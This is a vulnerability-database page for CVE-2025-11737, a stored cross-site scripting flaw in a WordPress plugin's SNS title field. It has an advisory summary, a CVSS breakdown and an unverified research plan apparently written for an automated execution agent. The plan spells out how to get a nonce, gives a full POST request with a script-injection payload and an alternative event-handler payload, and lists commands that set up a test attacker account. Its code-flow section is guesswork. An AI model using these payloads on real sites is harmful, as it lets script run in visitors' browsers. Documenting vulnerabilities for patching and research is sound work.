WP-Safety
CVE-2025-11737

VK All in One Expansion Unit <= 9.112.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via SNS Title

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
9.112.4
Patched in
84d
Time to patch

Description

The VK All in One Expansion Unit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vkExUnit_sns_title' parameter in all versions up to, and including, 9.112.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=9.112.3
PublishedFebruary 17, 2026
Last updatedMay 12, 2026
Affected pluginvk-all-in-one-expansion-unit

Source Code

WordPress.org SVN
Vulnerable v9.112.3.0
Browse source Download .zip
Patched

Patched version not available.

Research Plan
Unverified

This research plan outlines the steps to exploit **CVE-2025-11737**, a Stored Cross-Site Scripting (XSS) vulnerability in the **VK All in One Expansion Unit** plugin for WordPress. --- ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS) via the `vkExUnit_sns_title…

Show full research plan

This research plan outlines the steps to exploit CVE-2025-11737, a Stored Cross-Site Scripting (XSS) vulnerability in the VK All in One Expansion Unit plugin for WordPress.

1. Vulnerability Summary

  • Vulnerability: Stored Cross-Site Scripting (XSS) via the vkExUnit_sns_title parameter.
  • Affected Versions: <= 9.112.3.
  • Vulnerable Component: The "SNS" (Social Networking Service) settings module, specifically the portion that allows users to override the title for Open Graph (OG) or Twitter Cards on a per-post basis.
  • Root Cause: The plugin fails to adequately sanitize the vkExUnit_sns_title input when saving post meta and fails to escape the value when outputting it in the <head> section of the page (usually within meta tags like og:title or twitter:title).
  • Required Privileges: Contributor or higher (users with the edit_posts capability).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/post.php (for existing posts) or /wp-admin/post-new.php (for new posts).
  • Action: editpost (standard WordPress post update).
  • Parameter: vkExUnit_sns_title.
  • Preconditions: The "SNS" module must be active within the VK All in One Expansion Unit settings.
  • Persistence: The payload is stored in the wp_postmeta table and persists until the post is deleted or the meta value is manually updated.

3. Code Flow (Inferred)

  1. Input: An authenticated Contributor submits a post edit form. The POST request includes vkExUnit_sns_title=<script>alert(1)</script>.
  2. Storage: The plugin registers a hook (likely save_post) that processes fields from the VK ExUnit meta box.
    • Function: Likely within a class handling post meta, e.g., VkExUnit_Sns_Admin::save_post_meta.
    • Logic: update_post_meta($post_id, 'vkExUnit_sns_title', $_POST['vkExUnit_sns_title']) is called without sanitize_text_field.
  3. Output: When a user (admin or public) views the post.
    • Hook: add_action('wp_head', ...) or a similar hook used for SEO/SNS meta tags.
    • Function: Likely VkExUnit_Sns_Public::output_ogp or similar.
    • Logic: The value of vkExUnit_sns_title is retrieved using get_post_meta.
    • Sink: The value is echoed directly into a <meta> tag attribute or content without esc_attr or esc_html.

4. Nonce Acquisition Strategy

Since this exploit leverages the standard WordPress post-editing flow, the primary nonces required are those generated by WordPress core for post editing.

  1. Identify Shortcode/Trigger: The SNS meta box appears on the standard Post/Page editor. No specific shortcode is needed to trigger the vulnerability, but the plugin must be active.
  2. Create/Edit Post:
    • Navigate to /wp-admin/post-new.php.
    • Extract the _wpnonce from the form (action: add-post).
    • Extract the _wp_http_referer.
  3. JavaScript Extraction:
    The execution agent should use browser_navigate to the post editor and then:
    • browser_eval("document.querySelector('#_wpnonce').value") to get the core WordPress nonce.
    • Check for plugin-specific nonces in the VK ExUnit meta box if check_admin_referer is used by the plugin (e.g., browser_eval("document.querySelector('#vkExUnit_sns_nonce')?.value")).

5. Exploitation Strategy

Step 1: Setup
Create a Contributor-level user and ensure the plugin is active.

Step 2: Payload Injection
Submit a POST request to /wp-admin/post.php to save the malicious SNS title.

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload (Body):
    action=editpost
&post_ID=[POST_ID]
&_wpnonce=[NONCE]
&_wp_http_referer=/wp-admin/post.php?post=[POST_ID]&action=edit
&post_title=XSS Test
&vkExUnit_sns_title="><script>alert(document.domain)</script>
&vkExUnit_sns_description=TestDescription
    Note: The payload "><script>... is designed to break out of the content attribute of a <meta> tag.

Step 3: Verification (Frontend)
Navigate to the frontend URL of the post created/edited.

6. Test Data Setup

  1. Plugin Status: Ensure vk-all-in-one-expansion-unit is installed and activated.
  2. User: Create a contributor:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Post: Create an initial post for the contributor to edit:
    wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID) --post_title="Target Post"

7. Expected Results

  • The POST request should return a 302 Redirect back to the post editor.
  • When viewing the frontend of the post or the "Preview," the HTML source should contain:
    <meta property="og:title" content=""><script>alert(document.domain)</script>"> (or similar depending on the specific meta tag used).
  • A browser alert box should appear showing the site domain.

8. Verification Steps (Post-Exploit)

Confirm the metadata is stored in the database:
wp post meta get [POST_ID] vkExUnit_sns_title
Expected output: "><script>alert(document.domain)</script>

9. Alternative Approaches

  • Meta Box Check: If the plugin uses a different meta key (e.g., a serialized array), use wp post meta list [POST_ID] to find the exact key used by VK ExUnit.
  • Attribute Breakout: If the payload is rendered inside an attribute but the plugin performs basic escaping of >, try a payload that uses event handlers:
    vkExUnit_sns_title='onmouseover=alert(1) style=position:fixed;top:0;left:0;width:100%;height:100%;' (if injected into a tag that supports event handlers).
  • Twitter Card Sink: Check if the payload reflects in twitter:title or twitter:description if og:title is sanitized but others are not.
References
https://www.wordfence.com/threat-intel/vulnerabilities/id/1e7efb39-fada-4167-825c-21cc31948a63?source=api-prod

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